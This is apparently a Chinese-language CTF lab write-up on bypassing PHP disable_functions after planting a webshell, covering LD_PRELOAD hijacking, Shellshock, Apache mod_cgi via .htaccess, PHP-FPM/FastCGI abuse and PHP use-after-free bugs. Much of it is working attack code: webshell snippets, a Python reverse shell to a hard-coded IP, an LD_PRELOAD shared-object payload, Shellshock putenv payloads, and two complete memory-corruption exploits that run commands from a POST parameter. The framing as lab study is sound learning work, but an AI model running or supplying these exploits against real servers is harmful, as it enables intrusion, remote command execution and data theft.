0%

绕过disable_function的限制

绕过Disable_Function的限制

前言

当我们千辛万苦的上传一个shell文件之后,好不容易拿到webshell居然Tmd的无法执行系统命令

多半是disable_function惹的祸,查看phpinfo确实设置了disable_function

千辛万苦拿到的shell却变成了一个空壳,不甘心啊,所以就有了今天这一篇总结绕过disablefucntion的文章

使用的环境都是在github上找到的,antsword-labs,使用docker-compose在本地搭建

概念

为了安全起见,很多运维人员会禁止使用php中的一些危险函数,例如eval,exec,system等,将其写在php.ini配置文件里面,为了彻底隔离同服务器的用户,以及避免出现大面积的安全问题,disable的设置也是非常严格

如果在渗透的时候,上传了webshell却因为disable_function禁止了我们的函数而无法执行命令的话,这个时候就是想办法要绕过限制,tupodisable_dunction

常规绕过(黑名单绕过)

即便是通过disable functions限制危险函数,也可能会有限制不全的情况。如果运维人员安全意识不强或对PHP不甚了解的话,则很有可能忽略某些危险函数,常见的有以下几种。

  • exec()
1
2
3
<?php
echo exec('whoami');
?>
  • shell_exec()
1
2
3
<?php
echo shell_exec('whoami');
?>
  • system()
1
2
3
<?php
system('whoami');
?>
  • passthru()
1
2
3
<?php
passthru("whoami");
?>
  • popen()
1
2
3
4
5
6
7
8
<?php
$command=$_POST['cmd'];
$handle = popen($command,"r");
while(!feof($handle)){
echo fread($handle, 1024); //fread($handle, 1024);
}
pclose($handle);
?>
  • proc_open()
1
2
3
4
5
6
7
8
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>

还有一个比较常见的易被忽略的函数就是pcntl_exec。

使用条件:

  • PHP安装并启用了pcntl插件

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用pcntl_exec()执行test.sh:

1
2
3
4
5
6
7
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:

1
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

下面进入靶场,边打题边学习

靶场具体关卡介绍

绕过方法

利用 LD_PRELOAD 环境变量

原理简述

LD_PRELOAD 是 Linux 和其他类 Unix 系统中的一个环境变量,它允许用户在程序启动时优先加载指定的共享库(shared libraries),覆盖默认的动态链接行为。通过这个机制,开发者可以替换或拦截程序调用的标准库函数,甚至修改程序的行为。

核心作用

  1. 覆盖函数实现
    当程序动态链接库函数时,LD_PRELOAD 指定的库会被最先加载,其中的函数会优先于系统标准库(如 libc.so)的同名函数被调用。例如,你可以自定义 mallocfreeopen 等函数,替换原有的实现。
  2. 动态注入代码
    无需修改程序源代码或重新编译,即可注入自定义代码。常用于调试、性能分析、修复兼容性问题等场景。

我们可以通过环境变量LD_PRELOAD 劫持系统函数,可以达到不调用php的各种命令执行函数仍然可以执行系统命令的目的

去github上下载yangyangwithgnu大佬的利用文件

有下面这四个重要的文件

  • bypass_disablefunc.php:一个用来执行命令的 webshell。
  • bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的。
  • bypass_disablefunc.c:用来编译生成上面的共享对象文件。

对于bypass_disablefunc.php,权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用 GET 方法提供三个参数:

  • cmd 参数:待执行的系统命令,如 id 命令。

  • outpath 参数:保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。

  • sopath 参数:指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。

    来到第一关

    没什么过滤,直接连接蚁剑就行

    看到了flag,可惜里面啥都没有,估计是设置成只有root才能看‘

    我们尝试上传文件

    将这两个文件上传到目标靶机有权限的目录当中

    然后将bypass_disablefunc.php包含进来并使用GET方法提供所需的三个参数:

    1
    /?ant=include("/var/tmp/bypass_disablefunc.php");&cmd=ls&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so

    但是,居然打不进去,woc,按理说这个so文件应该是通杀的啊,

    我又找了个别的so文件,编写1.c文件如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    __attribute__((constructor)) void ajest(){
    unsetenv("LD_PRELOAD");
    if (getenv("CMD") != NULL){
    system(getenv("CMD"));
    }else{
    system("echo 'no cmd' > output");
    }
    }

    编译文件。

    1
    gcc --share -fPIC hack.c -o hack.so

    将hack.so 文件上传到服务器,并且在服务器上编写文件cmd.php。

    1
    2
    3
    4
    5
    <?php
    putenv("CMD=tac /flag > output");
    putenv("LD_PRELOAD=./hack.so");
    error_log("a",1);
    ?>

    直接通过Web 方式访问该php 文件。查看output 文件内容,即可得到flag。

    还有一个方法就是使用蚁剑自带的绕过disable_function的插件

    选择LD_PRELOAD模式并点击开始按钮,成功后蚁剑会在 /var/www/html 目录里上传一个 .antproxy.php 文件。我们创建副本, 并将连接的 URL shell 脚本名字改为 .antproxy.php获得一个新的shell,在这个新shell里面就可以成功执行命令了。要查看flag还是要使用suid提权的命令tac

    利用shellshock

    利用PHP破壳完成 Bypass

    Bash远程代码执行漏洞(CVE-2014-6271)

    1
    2
      漏洞原理:
    目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

    如图,环境还是一样的,但是方法变了,老样子,连接蚁剑,然后依旧无法执行命令,php.ini配置如下

    1
    disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

    首先可以使用antsword自带的绕过的方法

然后直接进终端,查看flag就可以了

首先AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可,

注意1:

注意看上图中 1 位置的进程树的情况

如果执行命令直接使用 system 等执行命令的函数, 进程列表是这样的:

1
2
3
4
www-data   810   684  0 Jul06 ?        00:00:14 /usr/sbin/apache2 -k start
www-data 909 712 0 00:17 ? 00:00:00 sh -c /bin/sh -c "cd "/var/www/html";ps -aef;echo [S];pwd;echo [E]" 2>&1
www-data 910 909 0 00:17 ? 00:00:00 /bin/sh -c cd /var/www/html;ps -aef;echo [S];pwd;echo [E]
www-data 911 910 0 00:17 ? 00:00:00 ps -aef

可以不明显的(bushi看出本例中执行命令时, 利用了 PHP error_log 函数在执行 sh -c -t -i 时, Bash 的 ShellShock 漏洞, 从而实现了执行我们自定义命令的目的。/(ㄒoㄒ)/~~

注意2:

执行了 ls -al /tmp, 可以看到每次都生成了以 as 开头的临时文件, 这就是我们执行完命令之后, 将输出重定向到了临时文件中, 然后再读出来

尝试文件管理直接用 PHP 读 flag, 肯定是读不到的

我们就可以直接使用tac去终端里直接查看flag,tac有suid权限

手动

有如下几个脚本,挨个解释

利用error_log函数

通过查看phpinfo发现没有ban掉error_log

然后上传脚本

error_log和mail两个函数,都可以使用,(为了避免ban掉一个)

1
2
3
4
5
6
7
8
//默认putenv定义的环境变量名必须以PHP_开头。error_log()函数会在执行sh -c -t -i触发payload
//sh -c -t -i:启动一个Bourne shell,让它执行一个命令字符串(这里没有提供具体的命令字符串),然后输出一个NULL字符并退出,同时保持交互式模式
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>

去test.php下面就有flag了了

然后是另外两个脚本

首先是antsword官方提供的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

还是直接上传到antsword中,然后直接访问这个文件就可以了

效果如下

第三个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

依旧是直接访问即可,效果如下

注意,直接使用cat等命令还是无法查看,必须要使用类似于tac等能suid提权的命令

利用 Apache Mod CGI

具体走一遍流程吧,蚁剑连接,打开终端,执行命令,欸,执行不了欸~

这里大概给个解释

1
2
3
4
CGI:
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

能用蚁剑连,但是/flag 这个文件是 644 权限,www-data (write-write-write)用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令(具体看 /start.sh)来获取 flag

1
2
3
4
5
6
7
8
使用「绕过 disable_functions」插件, 选择 Apache_mod_cgi 模式进行

使用条件

必须是apache环境
mod_cgi已经启用
必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
必须有权限写.htaccess文件

点击开始按钮之后会直接打开一个新的终端,能直接执行命令了

手工

其实原理就是利用.htaccess

1
2
3
4
5
6
7
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里的.htaccess文件,将所有.ant后缀的文件作为cgi脚本执行

Options +ExecCGI #表示允许CGI执行,如果AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了
AddHandler cgi-script .ant #告诉Apache将xx后缀名的文件当作CGI程序进行解析

再写一个shell.ant文件

1
2
#! /bin/sh
echo&&cd "/var/www/html/backdoor";tac /flag;

然后直接访问shell.ant就可以直接执行命令了,改改htaccess文件,什么后缀都可以被当作chi程序解析,但是也是有使用条件的

1
2
3
4
5
6
使用条件

必须是apache环境
mod_cgi已经启用
必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
必须有权限写.htaccess文件
PHP-FPM 利用 LD_PRELOAD
1
正常情况下, PHP-FPM 是不会对外开放的。在有 webshell 之后,这就变得不一样了。学习通过攻击 PHP-FPM 达到 Bypass 的目的。

前提知识:

1
2
3
4
php-fpm即php-Fastcgi Process Manager.
php-fpm是 FastCGI 的实现,并提供了进程管理的功能。
进程包含 master 进程和 worker 进程两种进程。
master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

总结来说php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据

PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议,和fpm进行通信。于是就有了利用 WebShell 直接与 PHP FastCGI (FPM) 来实现Bypass Disable Functions

额,具体的流程还是那样,就不过多赘述了,我们直接使用antsword直接绕过吧

连接蚁剑,使用插件模式选择Fastcgi/PHP-FPM

注意该模式下需要选择 PHP-FPM 的接口地址, 需要自行找配置文件查 FPM 接口地址, 默认的是 unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000,一般默认都是9000端口

直接连接这个php文件,密码还是ant

本例中没有禁止 putenv, 可以用 LD_PRELOAD完成命令执行

具体操作与 第一个相同, 不再缀述

1
2
3
4
5
6
7
8
9
10
11
12
13
一些疑问和解答
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制:
1.第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
2.第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3.第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了

第五关还是和第四关一样,都是利用fastcgi攻击php-fpm

不过多赘述

Json Serizlizer UAF

利用json序列化中的堆溢出触发,借此绕过限制,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

手工

本人纯脚本小子,就直接用网上找到的脚本打了,exp地址:https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

上传文件

然后post传参pass就能执行命令了

蚁剑自带插件

这个没啥好说的,直接绕

GC with Certain Destructors UAF

关于uaf的利用涉及到底层了,这就不是我所了解的了,老老实实当脚本小子了

手工

exp地址

exploits/php7-gc-bypass at master · mm0r1/exploits (github.com)

上传exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

post传参pass就可以了

蚁剑

老样子,用插件,没什么好说的

FFI 扩展执行命令
1
FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代码。

简单来说

FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库

